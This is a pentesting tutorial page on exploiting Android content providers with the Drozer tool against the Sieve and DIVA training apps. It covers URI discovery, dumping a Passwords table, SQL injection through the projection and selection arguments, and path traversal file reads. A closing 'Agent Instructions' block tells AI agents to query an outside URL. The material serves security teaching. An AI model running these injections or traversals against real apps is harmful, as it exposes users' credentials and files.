# Exploiting Content Providers

## Exploiting Content Providers

<details>

<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>

* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).

</details>

## Intro

A content provider component **supplies data from one application to others** on request. Such requests are handled by the methods of the ContentResolver class. A content provider can use different ways to store its data and the data can be **stored** in a **database**, in **files**, or even over a **network**.

It has to be declared inside the *Manifest.xml* file. Example:

```markup
<provider android:name=".DBContentProvider" android:exported="true" android:multiprocess="true" android:authorities="com.mwr.example.sieve.DBContentProvider">
    <path-permission android:readPermission="com.mwr.example.sieve.READ_KEYS" android:writePermission="com.mwr.example.sieve.WRITE_KEYS" android:path="/Keys"/>
</provider>
```

In this case, it's necessary the permission `READ_KEYS` to access `content://com.mwr.example.sieve.DBContentProvider/Keys`\
(*Also, notice that in the next section we are going to access `/Keys/` which isn't protected, that's because the developer got confused and protected `/Keys` but declared `/Keys/`*)

**Maybe you can access private data or exploit some vulnerability (SQL Injection or Path Traversal).**

## Get info from **exposed content providers**

```
dz> run app.provider.info -a com.mwr.example.sieve 
  Package: com.mwr.example.sieve
  Authority: com.mwr.example.sieve.DBContentProvider
  Read Permission: null
  Write Permission: null
  Content Provider: com.mwr.example.sieve.DBContentProvider
  Multiprocess Allowed: True
  Grant Uri Permissions: False
  Path Permissions:
  Path: /Keys
  Type: PATTERN_LITERAL
  Read Permission: com.mwr.example.sieve.READ_KEYS
  Write Permission: com.mwr.example.sieve.WRITE_KEYS
  Authority: com.mwr.example.sieve.FileBackupProvider
  Read Permission: null
  Write Permission: null
  Content Provider: com.mwr.example.sieve.FileBackupProvider
  Multiprocess Allowed: True
  Grant Uri Permissions: False
```

We can **reconstruct** part of the content **URIs** to access the **DBContentProvider**, because we know that they must begin with “*content://*” and the information obtained by Drozer inside Path: */Keys*.

Drozer can **guess and try several URIs**:

```
dz> run scanner.provider.finduris -a com.mwr.example.sieve 
Scanning com.mwr.example.sieve...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/
... 
Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys 
Accessible content URIs:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
```

You should also check the **ContentProvider code** to search for queries:

![](https://github.com/nirugima/hacktricks/blob/main/.gitbook/assets/image%20\(121\)%20\(1\)%20\(1\)%20\(1\).png)

Also, if you can't find full queries you could **check which names are declared by the ContentProvider** on the `onCreate` method:

![](https://github.com/nirugima/hacktricks/blob/main/.gitbook/assets/image%20\(186\).png)

The query will be like: `content://name.of.package.class/declared_name`

## **Database-backed Content Providers**

Probably most of the Content Providers are used as **interface** for a **database**. Therefore, if you can access it you could be able to **extract, update, insert and delete** information.\
Check if you can **access sensitive information** or try to change it to **bypass authorisation** mechanisms.

When checking the code of the Content Provider **look** also for **functions** named like: *query, insert, update and delete*:

![](https://github.com/nirugima/hacktricks/blob/main/.gitbook/assets/image%20\(187\).png)

![](https://github.com/nirugima/hacktricks/blob/main/.gitbook/assets/image%20\(254\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\).png)

Because you will be able to call them

### Query content

```
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
_id: 1
service: Email
username: incognitoguy50
password: PSFjqXIMVa5NJFudgDuuLVgJYFD+8w==
-
email: incognitoguy50@gmail.com
```

### Insert content

Quering the database you will learn the **name of the columns**, then, you could be able to insert data in the DB:

![](https://github.com/nirugima/hacktricks/blob/main/.gitbook/assets/image%20\(188\)%20\(1\).png)

![](https://github.com/nirugima/hacktricks/blob/main/.gitbook/assets/image%20\(189\)%20\(1\).png)

*Note that in insert and update you can use --string to indicate string, --double to indicate a double, --float, --integer, --long, --short, --boolean*

### Update content

Knowing the name of the columns you could also **modify the entries**:

![](https://github.com/nirugima/hacktricks/blob/main/.gitbook/assets/image%20\(190\).png)

### Delete content

![](https://github.com/nirugima/hacktricks/blob/main/.gitbook/assets/image%20\(191\).png)

### **SQL Injection**

It is simple to test for SQL injection **(SQLite)** by manipulating the **projection** and **selection fields** that are passed to the content provider.\
When quering the Content Provider there are 2 interesting arguments to search for information: *--selection* and *--projection*:

![](https://github.com/nirugima/hacktricks/blob/main/.gitbook/assets/image%20\(192\)%20\(1\).png)

You can try to **abuse** this **parameters** to test for **SQL injections**:

```
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'" 
unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (')
```

```
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* 
FROM SQLITE_MASTER WHERE type='table';--" 
| type  | name             | tbl_name         | rootpage | sql              |
| table | android_metadata | android_metadata | 3        | CREATE TABLE ... | 
| table | Passwords        | Passwords        | 4        | CREATE TABLE ... |
```

**Automatic SQLInjection discovery by Drozer**

```
dz> run scanner.provider.injection -a com.mwr.example.sieve 
Scanning com.mwr.example.sieve... 
Injection in Projection:
  content://com.mwr.example.sieve.DBContentProvider/Keys/
  content://com.mwr.example.sieve.DBContentProvider/Passwords
  content://com.mwr.example.sieve.DBContentProvider/Passwords/
Injection in Selection:
  content://com.mwr.example.sieve.DBContentProvider/Keys/
  content://com.mwr.example.sieve.DBContentProvider/Passwords
  content://com.mwr.example.sieve.DBContentProvider/Passwords/
  
dz> run scanner.provider.sqltables -a jakhar.aseem.diva
Scanning jakhar.aseem.diva...
Accessible tables for uri content://jakhar.aseem.diva.provider.notesprovider/notes/:
  android_metadata
  notes
  sqlite_sequence
```

## **File System-backed Content Providers**

Content providers could be also used to **access files:**

![](https://github.com/nirugima/hacktricks/blob/main/.gitbook/assets/image%20\(193\).png)

### Read **file**

You can read files from the Content Provider

```
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts 
127.0.0.1            localhost
```

### **Path Traversal**

If you can access files, you can try to abuse a Path Traversal (in this case this isn't necessary but you can try to use "*../*" and similar tricks).

```
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts 
127.0.0.1            localhost
```

**Automatic Path Traversal discovery by Drozer**

```
dz> run scanner.provider.traversal -a com.mwr.example.sieve 
Scanning com.mwr.example.sieve... 
Vulnerable Providers:
  content://com.mwr.example.sieve.FileBackupProvider/
  content://com.mwr.example.sieve.FileBackupProvider
```

## References

* <https://www.tutorialspoint.com/android/android_content_providers.htm>
* <https://manifestsecurity.com/android-application-security-part-15/>

<details>

<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>

* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).

</details>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://breached.gitbook.io/dashboard/mobile-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
